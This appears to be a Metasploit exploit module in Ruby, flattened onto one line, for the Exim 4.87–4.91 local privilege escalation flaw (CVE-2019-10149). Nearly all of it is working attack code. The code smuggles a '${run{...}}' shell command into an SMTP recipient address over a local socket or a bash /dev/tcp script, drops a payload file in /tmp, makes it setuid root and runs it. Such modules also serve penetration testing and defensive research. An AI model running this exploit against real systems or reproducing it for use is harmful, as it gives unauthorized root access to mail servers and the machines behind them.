1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'expect' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description'=> %q{ This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). }, 'License'=> MSF_LICENSE, 'Author' => [ 'Qualys', # Discovery and PoC (@qualys) 'Dennis Herrmann', # Working exploit (@dhn) 'Marco Ivaldi', # Working exploit (@0xdea) 'Guillaume André' # Metasploit module (@yaumn_) ], 'DisclosureDate' => '2019-06-05', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets'=> [ [ 'Exim 4.87 - 4.91', lower_version: Gem::Version.new('4.87'), upper_version: Gem::Version.new('4.91') ] ], 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'References' => [ [ 'CVE', '2019-10149' ], [ 'EDB', '46996' ], [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ] ] )) register_options( [ OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ]) ]) register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'].to_s end def encode_command(cmd) '\x' + cmd.unpack('H2' * cmd.length).join('\x') end def open_tcp_connection socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) params = Rex::Socket::Parameters.new({ 'PeerHost' => '127.0.0.1', 'PeerPort' => datastore['EXIMPORT'] }) begin socket = socket_subsystem.create_tcp_client_channel(params) rescue => e vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") raise e end return socket_subsystem, socket end def inject_payload(payload) if session.type == 'meterpreter' socket_subsystem, socket = open_tcp_connection tcp_conversation = { nil=> /220/, 'helo localhost' => /250/, "MAIL FROM:<>" => /250/, "RCPT TO:<${run{#{payload}}}@localhost>" => /250/, 'DATA' => /354/, 'Received:'=> nil, '.'=> /250/ } begin tcp_conversation.each do |line, pattern| Timeout.timeout(datastore['SendExpectTimeout']) do if line if line == 'Received:' for i in (1..31) socket.puts("#{line} #{i}\n") end else socket.puts("#{line}\n") end end if pattern socket.expect(pattern) end end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure socket.puts("QUIT\n") socket.close socket_subsystem.shutdown end else unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\ "&& echo true").chomp.to_s == 'true' fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") end bash_script = %| #!/bin/bash exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']} read -u 3 && echo $REPLY echo "helo localhost" >&3 read -u 3 && echo $REPLY echo "mail from:<>" >&3 read -u 3 && echo $REPLY echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3 read -u 3 && echo $REPLY echo "data" >&3 read -u 3 && echo $REPLY for i in $(seq 1 30); do echo 'Received: $i' >&3 done echo "." >&3 read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY | @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@bash_script_path, bash_script) register_file_for_cleanup(@bash_script_path) chmod(@bash_script_path) cmd_exec("/bin/bash -c \"#{@bash_script_path}\"") end print_status('Payload sent, wait a few seconds...') Rex.sleep(5) end def check_for_bash unless command_exists?('/bin/bash') fail_with(Failure::NotFound, 'bash not found') end end def on_new_session(session) super if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') session.fs.file.rm(@payload_path) else session.shell_command_token("rm -f #{@payload_path}") end end def check if session.type == 'meterpreter' begin socket_subsystem, socket = open_tcp_connection rescue return CheckCode::Safe end res = socket.gets socket.close socket_subsystem.shutdown else check_for_bash res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\ "(read -u 3 && echo $REPLY) || echo false'") if res == 'false' vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") return CheckCode::Safe end end if res =~ /Exim ([0-9\.]+)/i version = Gem::Version.new($1) vprint_status("Found exim version: #{version}") if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else return CheckCode::Safe end end CheckCode::Unknown end def exploit if is_root? unless datastore['ForceExploit'] fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end end unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end if nosuid?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") end unless datastore['PrependSetuid'] && datastore['PrependSetgid'] fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \ 'to get root privileges.') end if session.type == 'shell' check_for_bash end @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) register_file_for_cleanup(@payload_path) inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}'")) unless setuid?(@payload_path) fail_with(Failure::Unknown, "Couldn't escalate privileges") end cmd_exec("#{@payload_path} & echo ") end end |